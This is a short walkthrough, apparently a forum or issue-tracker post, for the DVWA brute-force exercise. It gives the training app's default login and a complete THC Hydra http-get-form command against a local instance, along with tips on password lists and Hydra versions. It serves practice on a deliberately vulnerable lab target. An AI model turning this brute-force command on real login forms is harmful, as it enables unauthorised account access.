SOLUTION: How to solve DVWA /vulnerabilities/brute/

As many people are not able to solve this easily - this is how to do it:

1. Log into DVWA (login: admin, password: password)
2. Collect your PHPSESSID cookie (e.g. look in your browser's cookie jar, use zaproxy, right mouseclick "inspect accessible properties" in firefox, etc.)
3. hydra -l admin -p password 'http-get-form://127.0.0.1/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSESSID=61p8up0thkqjft9vn5osv6afk2; security=low:F=Username and/or password incorrect'
4. profit

you can replace -p password with with -P and a file containing passwords, e.g. -P passwords.txt

Note: you need hydra 9.0 - or better 9,2+. hydra 9.1 has a bug in the module and does not work. If your Linux distribution comes with an old version, contact the package maintainer or compile hydra yourself.